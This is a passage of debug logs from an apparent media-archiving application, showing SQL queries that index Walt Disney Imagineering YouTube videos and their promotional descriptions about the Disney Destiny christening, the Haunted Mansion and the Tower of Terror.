\u00A0\u00A0\u00A0•\u00A0Relive\u00A0The\u00A0Disney\u00A0Destiny\u00A0Christening\u00A0|\u00A0Fu...\u00A0\u00A0\n\n✨ What makes this special?\n• First-of-its-kind projection show on a Disney Cruise Line ship\n• Stunning drone choreography lighting up the night sky\n• Behind-the-scenes creativity from Disney Live Entertainment\n\n🎥 Watch the Magic Unfold\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 Explore More Episodes\n✨ Hong Kong Disneyland 20th Anniversary Projections → \u00A0\u00A0\u00A0•\u00A0Hong\u00A0Kong\u00A0Disneyland\u00A020th\u00A0Anniversary\u00A0New\u00A0...\u00A0\u00A0\n⚡ Meet the Titans from the Disney Destiny Hercules Show → \u00A0\u00A0\u00A0•\u00A0Meet\u00A0The\u00A0Titans\u00A0from\u00A0the\u00A0Disney\u00A0Destiny\u00A0He...\u00A0\u00A0\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → \u00A0\u00A0\u00A0•\u00A030\u00A0Years\u00A0of\u00A0EPCOT\u00A0International\u00A0Flower\u00A0&\u00A0G...\u00A0\u00A0\n👻 The Ichabod Crane Storytelling Window → \u00A0\u00A0\u00A0•\u00A0The\u00A0Ichabod\u00A0Crane\u00A0Storytelling\u00A0Window\u00A0|\u00A0Gr...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a ✨ in the comments if you made it this far — and let us know your favorite moment from the Disney Destiny christening!\n\n#DisneyDestiny #DisneyCruiseLine #WaltDisneyImagineering", "How Disney Created the Spectacular Christening Projection Show for the Disney Destiny", "FFKBtnLo0mc", "https://www.youtube.com/watch?v=FFKBtnLo0mc", nil, false, "/downloads/Walt Disney Imagineering/2025-11-11 How Disney Created the Spectacular Christening Projection Show for the Disney Destiny/How Disney Created the Spectacular Christening Projection Show for the Disney Destiny [FFKBtnLo0mc].NA", false, 2, ~U[2025-11-11 00:00:00Z]] 18:55:04.669 [debug] QUERY OK source="sources" db=0.1ms idle=132.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:04.670 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:55:04.670 [debug] QUERY OK source="media_items" db=0.2ms idle=3.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [2719] 18:55:04.670 [debug] Current batch of media processed. Will check again in 1000ms 18:55:05.671 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Welcome, foolish mortals! 👻 Join Disney Imagineers for an exclusive walking tour of The Haunted Mansion at Walt Disney World. Discover the secrets behind this iconic attraction—first opened at Disneyland in 1969—and learn why it remains a timeless classic filled with spooky illusions, theatrical magic, and hauntingly perfect updates.\n\n✨ What makes this special?\n• From the analog staring bust illusion to the first documented use of projection mapping, Haunted Mansion showcases timeless effects and groundbreaking techniques that continue to inspire Imagineers\n• Props like authentic luggage, artificial foliage, and reactive animation bring scenes to life\n\n🎥 Behind-the-Scenes with Imagineers\nWED Walks and WED Rides allows you to learn more about our Disney attractions and experiences with the Imagineers who brought them to life!\n\n🔍 Explore More Episodes\n🚙 Test Track WED Rides with Disney Imagineers → \u00A0\u00A0\u00A0•\u00A0Test\u00A0Track\u00A0WED\u00A0Rides\u00A0with\u00A0Disney\u00A0Imagineers\u00A0\u00A0 \n🌼 Imagineer Stories at Journey of Water, Inspired by Moana → \u00A0\u00A0\u00A0•\u00A0Imagineer\u00A0Stories\u00A0at\u00A0Journey\u00A0of\u00A0Water,\u00A0Ins...\u00A0\u00A0\n🏚️ Haunted Mansion New Queue Landscaping Tour with an Imagineer → \u00A0\u00A0\u00A0•\u00A0Haunted\u00A0Mansion\u00A0New\u00A0Queue\u00A0Landscaping\u00A0Tour...\u00A0\u00A0\n🥣 Tiana's Bayou Adventure Queue Tour with an Imagineer → \u00A0\u00A0\u00A0•\u00A0Tiana's\u00A0Bayou\u00A0Adventure\u00A0Queue\u00A0Tour\u00A0with\u00A0an...\u00A0\u00A0\n🎉 Tiana's Bayou Adventure Ride-A-Long with Disney Imagineers! → \u00A0\u00A0\u00A0•\u00A0Tiana's\u00A0Bayou\u00A0Adventure\u00A0Ride-A-Long\u00A0with\u00A0D...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a ✨ in the comments if you spot the frog!\n\n#HauntedMansion #DisneyImagineering #WaltDisneyWorld", "filename" => "/downloads/Walt Disney Imagineering/2025-10-31 Haunted Mansion Secrets Revealed | Disney Imagineering Behind the Scenes/Haunted Mansion Secrets Revealed | Disney Imagineering Behind the Scenes [endLo0NqGaw].NA", "id" => "endLo0NqGaw", "original_url" => "https://www.youtube.com/watch?v=endLo0NqGaw", "playlist_index" => 14, "title" => "Haunted Mansion Secrets Revealed | Disney Imagineering Behind the Scenes", "upload_date" => "20251031"} 18:55:05.672 [debug] QUERY OK source="sources" db=0.2ms idle=1002.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:55:05.672 [debug] QUERY OK source="sources" db=0.1ms idle=1002.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:05.673 [debug] QUERY OK source="media_items" db=0.5ms idle=1002.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-31 00:00:00Z], 2] 18:55:05.675 [debug] QUERY OK source="media_items" db=1.5ms idle=1003.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Welcome, foolish mortals! 👻 Join Disney Imagineers for an exclusive walking tour of The Haunted Mansion at Walt Disney World. Discover the secrets behind this iconic attraction—first opened at Disneyland in 1969—and learn why it remains a timeless classic filled with spooky illusions, theatrical magic, and hauntingly perfect updates.\n\n✨ What makes this special?\n• From the analog staring bust illusion to the first documented use of projection mapping, Haunted Mansion showcases timeless effects and groundbreaking techniques that continue to inspire Imagineers\n• Props like authentic luggage, artificial foliage, and reactive animation bring scenes to life\n\n🎥 Behind-the-Scenes with Imagineers\nWED Walks and WED Rides allows you to learn more about our Disney attractions and experiences with the Imagineers who brought them to life!\n\n🔍 Explore More Episodes\n🚙 Test Track WED Rides with Disney Imagineers → \u00A0\u00A0\u00A0•\u00A0Test\u00A0Track\u00A0WED\u00A0Rides\u00A0with\u00A0Disney\u00A0Imagineers\u00A0\u00A0 \n🌼 Imagineer Stories at Journey of Water, Inspired by Moana → \u00A0\u00A0\u00A0•\u00A0Imagineer\u00A0Stories\u00A0at\u00A0Journey\u00A0of\u00A0Water,\u00A0Ins...\u00A0\u00A0\n🏚️ Haunted Mansion New Queue Landscaping Tour with an Imagineer → \u00A0\u00A0\u00A0•\u00A0Haunted\u00A0Mansion\u00A0New\u00A0Queue\u00A0Landscaping\u00A0Tour...\u00A0\u00A0\n🥣 Tiana's Bayou Adventure Queue Tour with an Imagineer → \u00A0\u00A0\u00A0•\u00A0Tiana's\u00A0Bayou\u00A0Adventure\u00A0Queue\u00A0Tour\u00A0with\u00A0an...\u00A0\u00A0\n🎉 Tiana's Bayou Adventure Ride-A-Long with Disney Imagineers! → \u00A0\u00A0\u00A0•\u00A0Tiana's\u00A0Bayou\u00A0Adventure\u00A0Ride-A-Long\u00A0with\u00A0D...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a ✨ in the comments if you spot the frog!\n\n#HauntedMansion #DisneyImagineering #WaltDisneyWorld", "Haunted Mansion Secrets Revealed | Disney Imagineering Behind the Scenes", "46e3b7a9-d3ad-4e04-9cd5-4d9f975fa3c5", "endLo0NqGaw", "https://www.youtube.com/watch?v=endLo0NqGaw", false, false, 14, "/downloads/Walt Disney Imagineering/2025-10-31 Haunted Mansion Secrets Revealed | Disney Imagineering Behind the Scenes/Haunted Mansion Secrets Revealed | Disney Imagineering Behind the Scenes [endLo0NqGaw].NA", false, false, 2, [], 98, ~U[2025-10-31 00:00:00Z], ~U[2026-03-29 22:55:05Z], ~U[2026-03-29 22:55:05Z], "Welcome, foolish mortals! 👻 Join Disney Imagineers for an exclusive walking tour of The Haunted Mansion at Walt Disney World. Discover the secrets behind this iconic attraction—first opened at Disneyland in 1969—and learn why it remains a timeless classic filled with spooky illusions, theatrical magic, and hauntingly perfect updates.\n\n✨ What makes this special?\n• From the analog staring bust illusion to the first documented use of projection mapping, Haunted Mansion showcases timeless effects and groundbreaking techniques that continue to inspire Imagineers\n• Props like authentic luggage, artificial foliage, and reactive animation bring scenes to life\n\n🎥 Behind-the-Scenes with Imagineers\nWED Walks and WED Rides allows you to learn more about our Disney attractions and experiences with the Imagineers who brought them to life!\n\n🔍 Explore More Episodes\n🚙 Test Track WED Rides with Disney Imagineers → \u00A0\u00A0\u00A0•\u00A0Test\u00A0Track\u00A0WED\u00A0Rides\u00A0with\u00A0Disney\u00A0Imagineers\u00A0\u00A0 \n🌼 Imagineer Stories at Journey of Water, Inspired by Moana → \u00A0\u00A0\u00A0•\u00A0Imagineer\u00A0Stories\u00A0at\u00A0Journey\u00A0of\u00A0Water,\u00A0Ins...\u00A0\u00A0\n🏚️ Haunted Mansion New Queue Landscaping Tour with an Imagineer → \u00A0\u00A0\u00A0•\u00A0Haunted\u00A0Mansion\u00A0New\u00A0Queue\u00A0Landscaping\u00A0Tour...\u00A0\u00A0\n🥣 Tiana's Bayou Adventure Queue Tour with an Imagineer → \u00A0\u00A0\u00A0•\u00A0Tiana's\u00A0Bayou\u00A0Adventure\u00A0Queue\u00A0Tour\u00A0with\u00A0an...\u00A0\u00A0\n🎉 Tiana's Bayou Adventure Ride-A-Long with Disney Imagineers! → \u00A0\u00A0\u00A0•\u00A0Tiana's\u00A0Bayou\u00A0Adventure\u00A0Ride-A-Long\u00A0with\u00A0D...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a ✨ in the comments if you spot the frog!\n\n#HauntedMansion #DisneyImagineering #WaltDisneyWorld", "Haunted Mansion Secrets Revealed | Disney Imagineering Behind the Scenes", "endLo0NqGaw", "https://www.youtube.com/watch?v=endLo0NqGaw", nil, false, "/downloads/Walt Disney Imagineering/2025-10-31 Haunted Mansion Secrets Revealed | Disney Imagineering Behind the Scenes/Haunted Mansion Secrets Revealed | Disney Imagineering Behind the Scenes [endLo0NqGaw].NA", false, 2, ~U[2025-10-31 00:00:00Z]] 18:55:05.675 [debug] QUERY OK source="sources" db=0.1ms idle=137.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:05.676 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:55:05.676 [debug] QUERY OK source="media_items" db=0.2ms idle=3.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [2507] 18:55:05.676 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "🎃 Welcome to a special Halloween episode of Imagineer That! Ever wondered how Disney Imagineers make attractions look old, spooky, and authentically creepy? Join Tom Morrow 2.0 as he heads to The Twilight Zone Tower of Terror to uncover the secrets behind Disney’s incredible set decoration techniques—including a surprising tool: a web-shooting gun!\n\n✅ What you’ll learn in this episode:\n• How Imagineers create aged, eerie environments\n• Behind-the-scenes tricks used by Disney set decorators\n• Why details matter in immersive storytelling\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 How do Disney Imagineers make mountains? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0mountains?\u00A0|...\u00A0\u00A0\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 👻 in the comments if you made it this far!\n\n#waltdisneyimagineering #imagineerthat #disneyhalloween", "filename" => "/downloads/Walt Disney Imagineering/2025-10-27 How do Disney Imagineers make things look old and creepy? | Imagineer That! Halloween Special/How do Disney Imagineers make things look old and creepy? | Imagineer That! Halloween Special [wkC-B7PNMCI].NA", "id" => "wkC-B7PNMCI", "original_url" => "https://www.youtube.com/watch?v=wkC-B7PNMCI", "playlist_index" => 15, "title" => "How do Disney Imagineers make things look old and creepy? | Imagineer That! Halloween Special", "upload_date" => "20251027"} 18:55:05.677 [debug] QUERY OK source="sources" db=0.1ms idle=3.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:55:05.677 [debug] QUERY OK source="sources" db=0.1ms idle=2.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:05.678 [debug] QUERY OK source="media_items" db=0.4ms idle=1.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-27 00:00:00Z], 2] 18:55:05.680 [debug] QUERY OK source="media_items" db=1.4ms idle=2.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["🎃 Welcome to a special Halloween episode of Imagineer That! Ever wondered how Disney Imagineers make attractions look old, spooky, and authentically creepy? Join Tom Morrow 2.0 as he heads to The Twilight Zone Tower of Terror to uncover the secrets behind Disney’s incredible set decoration techniques—including a surprising tool: a web-shooting gun!\n\n✅ What you’ll learn in this episode:\n• How Imagineers create aged, eerie environments\n• Behind-the-scenes tricks used by Disney set decorators\n• Why details matter in immersive storytelling\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 How do Disney Imagineers make mountains? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0mountains?\u00A0|...\u00A0\u00A0\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 👻 in the comments if you made it this far!\n\n#waltdisneyimagineering #imagineerthat #disneyhalloween", "How do Disney Imagineers make things look old and creepy? | Imagineer That! Halloween Special", "0b980794-84d6-412b-992b-b8c9a8f7b58b", "wkC-B7PNMCI", "https://www.youtube.com/watch?v=wkC-B7PNMCI", false, false, 15, "/downloads/Walt Disney Imagineering/2025-10-27 How do Disney Imagineers make things look old and creepy? | Imagineer That! Halloween Special/How do Disney Imagineers make things look old and creepy? | Imagineer That! Halloween Special [wkC-B7PNMCI].NA", false, false, 2, [], 98, ~U[2025-10-27 00:00:00Z], ~U[2026-03-29 22:55:05Z], ~U[2026-03-29 22:55:05Z], "🎃 Welcome to a special Halloween episode of Imagineer That! Ever wondered how Disney Imagineers make attractions look old, spooky, and authentically creepy? Join Tom Morrow 2.0 as he heads to The Twilight Zone Tower of Terror to uncover the secrets behind Disney’s incredible set decoration techniques—including a surprising tool: a web-shooting gun!\n\n✅ What you’ll learn in this episode:\n• How Imagineers create aged, eerie environments\n• Behind-the-scenes tricks used by Disney set decorators\n• Why details matter in immersive storytelling\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 How do Disney Imagineers make mountains? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0mountains?\u00A0|...\u00A0\u00A0\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 👻 in the comments if you made it this far!\n\n#waltdisneyimagineering #imagineerthat #disneyhalloween", "How do Disney Imagineers make things look old and creepy? | Imagineer That! Halloween Special", "wkC-B7PNMCI", 